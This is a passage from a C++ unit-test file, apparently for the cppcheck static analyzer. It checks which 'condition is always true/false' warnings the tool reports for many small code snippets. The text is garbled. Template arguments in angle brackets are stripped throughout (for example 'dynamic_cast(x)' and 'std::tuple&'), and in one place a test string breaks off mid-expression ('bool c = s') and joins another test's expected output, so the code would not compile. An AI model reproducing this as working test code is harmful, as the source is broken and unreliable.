errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n 